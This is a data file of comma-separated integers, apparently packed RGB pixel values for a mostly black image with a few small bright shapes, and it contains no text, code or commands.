0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,9474230,11974326,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,14408667,14408630,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767963,14408667,11964560,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14408667,14399120,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14408667,14399120,6699578,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,26294,16777215,14408667,14399120,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0